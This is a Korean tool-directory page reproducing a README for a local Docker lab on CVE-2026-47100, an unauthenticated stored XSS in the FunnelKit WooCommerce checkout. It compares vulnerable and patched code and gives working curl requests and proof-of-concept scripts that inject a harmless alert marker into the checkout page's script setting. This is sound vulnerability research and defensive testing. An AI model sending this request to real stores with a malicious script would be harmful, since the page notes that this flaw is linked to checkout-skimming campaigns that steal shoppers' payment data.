Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-47100-Analysis-Lab — CVE-2026-47100을 재현하기 위한 로컬 Docker 랩입니다. FunnelKit for WooCommerce의 인증되지 않은 저장형 XSS입니다. 취약한 버전과 패치된 버전을 비교하는 PoC 스크립트가 포함되어 있습니다. | Kitploit
도구/GitHubGitHub/rootdirective-sec/cve-2026-47100-analysis-lab
Vulnerability AnalysisWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-47100-analysis-lab

CVE-2026-47100-Analysis-Lab

CVE-2026-47100을 재현하기 위한 로컬 Docker 랩입니다. FunnelKit for WooCommerce의 인증되지 않은 저장형 XSS입니다. 취약한 버전과 패치된 버전을 비교하는 PoC 스크립트가 포함되어 있습니다.

저장소 보기
13개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-47100 — FunnelKit / Funnel Builder for WooCommerce 체크아웃 저장형 XSS 실습 환경

로컬 Docker 실습 환경으로 CVE-2026-47100을 안전하고 최소 피해 방식으로 재현합니다. 이 실습 환경은 취약한 FunnelKit 버전과 패치된 버전을 비교하고, 무해한 JavaScript 마커/알림을 사용하여 동작을 확인합니다.


1. 개요

CVE-2026-47100은 버전 3.15.0.3 이전의 Funnel Builder / FunnelKit for WooCommerce Checkout에 존재하는 인증 누락 취약점입니다.

취약한 체크아웃 AJAX 흐름을 통해 인증되지 않은 방문자가 내부 플러그인 메서드를 호출하고 FunnelKit에 내장된 글로벌 외부 스크립트 설정에 데이터를 쓸 수 있습니다. 해당 설정이 나중에 FunnelKit 체크아웃 페이지에 렌더링되므로 이 문제는 체크아웃 페이지에서 인증되지 않은 저장형 XSS가 될 수 있습니다.

이 저장소는 두 개의 Docker 서비스를 사용하여 로컬에서 이 문제를 재현합니다.

서비스버전URL예상 결과
vuln3.15.0.2http://127.0.0.1:8081취약 동작 확인됨
patched3.15.0.3http://127.0.0.1:8082쓰기 차단 / 마커 미렌더링

2. Vulnx 발견 스크린샷

vulnx

Vulnx 출력에서 초기 CVE 선택. 취약 및 패치 동작을 비교하여 실습 환경과 PoC를 수동으로 구축했습니다.


3. 영향

인증되지 않은 공격자는 공개 체크아웃 AJAX 흐름을 악용하여 FunnelKit의 글로벌 외부 스크립트 설정에 JavaScript를 지속시킬 수 있습니다.

실제 WooCommerce 스토어에서는 체크아웃 페이지를 방문하는 사용자의 브라우저에서 악성 JavaScript가 실행될 수 있습니다. 공개 보고서에 따르면 이 취약점 클래스는 체크아웃 스키밍 캠페인과 연관되어 있습니다.

이 실습 환경은 의도적으로 무해한 증명 마커만 사용합니다.

root@kitploit:~
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>

4. 근본 원인

취약한 버전은 공개 WooCommerce AJAX 엔드포인트에서 사용자 제어 체크아웃 데이터를 허용합니다.

root@kitploit:~
/?wc-ajax=update_order_review

FunnelKit 체크아웃 흐름 내에서 요청에 다음이 포함될 수 있습니다.

root@kitploit:~
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}

취약한 로직은 제공된 액션 이름이 클래스 메서드로 존재하는지 확인합니다. 메서드가 존재하면 공개 체크아웃 흐름에서 호출할 수 있습니다.

단순화된 취약 동작:

root@kitploit:~
if ( method_exists( __CLASS__, $action ) ) {
    self::$output_resp = self::$action( $input_data );
}

중요한 공격자 제어 액션은 다음과 같습니다.

root@kitploit:~
update_global_settings_fields

해당 메서드는 WordPress 옵션을 업데이트합니다.

root@kitploit:~
_wfacp_global_settings

특히 FunnelKit 내장 키:

root@kitploit:~
wfacp_global_external_script

저장된 값은 나중에 체크아웃 템플릿에 의해 읽혀 체크아웃 페이지에 렌더링됩니다. 이로 인해 저장형 XSS 조건이 생성됩니다.

익스플로잇 체인:

root@kitploit:~
인증되지 않은 체크아웃 방문자
→ 공개 WooCommerce update_order_review AJAX
→ 공격자 제어 wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script가 체크아웃 페이지에 렌더링됨
→ 저장형 XSS

5. 패치 요약

버전 3.15.0.3은 두 가지 중요한 변경 사항으로 취약 경로를 강화합니다.

5.1 공개 액션 허용 목록

패치된 버전은 공개 체크아웃 흐름에서 호출할 수 있는 체크아웃 액션을 제한합니다.

단순화된 패치 동작:

root@kitploit:~
$allowed_actions = array(
    'update_cart_item_quantity',
    'update_cart_multiple_page',
    'remove_cart_item',
    'undo_cart_item',
    'prep_fees',
);

if (
    is_string( $action ) &&
    in_array( $action, $allowed_actions, true ) &&
    method_exists( __CLASS__, $action )
) {
    self::$output_resp = self::$action( $input_data );
}

이로 인해 update_global_settings_fields와 같은 임의의 내부 메서드가 인증되지 않은 체크아웃 요청에 의해 전달되는 것을 방지합니다.

5.2 설정 업데이트 전 권한 확인

패치된 버전은 또한 글로벌 설정을 업데이트하기 전에 인증 확인을 추가합니다.

root@kitploit:~
if ( ! current_user_can( 'manage_woocommerce' ) ) {
    return $resp;
}

즉, 글로벌 외부 스크립트 설정은 WooCommerce 관리 권한이 있는 사용자만 쓸 수 있어야 합니다.


6. 실습 환경 구조

root@kitploit:~
host
├── http://127.0.0.1:8081  → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082  → WordPress + WooCommerce + FunnelKit 3.15.0.3

시드 프로세스 생성:

root@kitploit:~
실습 제품
- 유효한 장바구니/세션을 생성하는 데 사용되는 WooCommerce 제품
- 깨끗한 실습 환경에서 예상 제품 ID: 10

실습 퍼널 체크아웃
- 체크아웃 AJAX 흐름을 트리거하는 데 사용되는 FunnelKit 체크아웃 페이지
- 깨끗한 실습 환경에서 예상 체크아웃 포스트 ID: 11

실습 환경은 결정론적 체크아웃 URL을 사용합니다.

root@kitploit:~
/?post_type=wfacp_checkout&p=11

이 URL은 로컬 Docker 실습 환경에서 FunnelKit 체크아웃 사용자 정의 포스트를 명시적으로 로드합니다.


7. 실습 환경 실행

실습 환경 시작:

root@kitploit:~
docker compose up -d --build

서비스 확인:

root@kitploit:~
docker compose ps

예상 서비스:

root@kitploit:~
vuln      http://127.0.0.1:8081
patched   http://127.0.0.1:8082

Python 종속성 설치:

root@kitploit:~
python3 -m venv .venv
. .venv/bin/activate
pip install requests

8. PoC 스크립트

8.1 실습 PoC

poc/poc_lab.py는 결정론적 실습 PoC입니다.

로컬 Docker 시드 값을 가정합니다.

root@kitploit:~
product_id = 10
checkout_post_id = 11

취약한 서비스에 대해 실행:

root@kitploit:~
python3 poc/poc_lab.py http://127.0.0.1:8081

예상 결과:

root@kitploit:~
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True

=== Result ===
likely_vulnerable:  True

[+] Vulnerable behavior confirmed.

패치된 서비스에 대해 실행:

root@kitploit:~
python3 poc/poc_lab.py http://127.0.0.1:8082

예상 결과:

root@kitploit:~
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False

=== Result ===
likely_vulnerable:  False

[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.

8.2 일반 인증 자체 테스트 도구

poc/poc_check.py는 더 이식성 있는 인증 자체 테스트 도구입니다.

수동 확인 전용:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"

능동 인증 확인:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized

알림 없는 마커 전용 모드:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --marker-only

정리 시도:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --cleanup

9. 수동 테스트

9.1 취약한 서비스

새로운 WooCommerce 세션을 생성하고 실습 제품을 장바구니에 추가:

root@kitploit:~
rm -f /tmp/cve47100-vuln.cookies

curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?add-to-cart=10" >/dev/null

FunnelKit 체크아웃 페이지를 가져와 WooCommerce 체크아웃 nonce 추출:

root@kitploit:~
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"

조작된 체크아웃 AJAX 요청 전송:

root@kitploit:~
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-vuln.cookies \
  -b /tmp/cve47100-vuln.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'

옵션이 작성되었는지 확인:

root@kitploit:~
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json

예상 결과:

root@kitploit:~
{
  "wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
  "wfacp_checkout_global_css": ""
}

마커가 렌더링되었는지 확인:

root@kitploit:~
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'

브라우저에서 열어 무해한 알림 확인:

root@kitploit:~
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11

9.2 패치된 서비스

동일한 흐름을 포트 8082에 대해 반복:

root@kitploit:~
rm -f /tmp/cve47100-patched.cookies

curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?add-to-cart=10" >/dev/null

CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"
root@kitploit:~
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-patched.cookies \
  -b /tmp/cve47100-patched.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'

옵션이 변경되지 않았는지 확인:

root@kitploit:~
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json

예상 결과:

root@kitploit:~
[]

마커가 렌더링되지 않았는지 확인:

root@kitploit:~
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'

예상 결과: 출력 없음.


10. 증거 요약

취약한 서비스는 다음 조건이 모두 참일 때 문제를 확인합니다:

root@kitploit:~
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True

패치된 서비스는 다음 조건에서 수정을 확인합니다:

root@kitploit:~
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []

11. 안전 주의사항

이 저장소는 로컬, 인가된 보안 연구 전용입니다.

허용 범위:

root@kitploit:~
localhost
127.0.0.1
Docker Compose 실습 네트워크
소유하거나 명시적 서면 허가를 받은 시스템

허용되지 않음:

root@kitploit:~
결제 스키밍
쿠키 도용
토큰 도용
자격 증명 수집
외부 유출
타사 스토어에 대한 인가되지 않은 테스트

PoC는 무해한 알림과 마커만 사용합니다.


12. 참고 자료

  • CVE 레코드: https://www.cve.org/CVERecord?id=CVE-2026-47100
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47100
  • VulnCheck 권고: https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax
  • Sansec 연구: https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited
  • WordPress Trac 변경 세트: https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php
도구 다운로드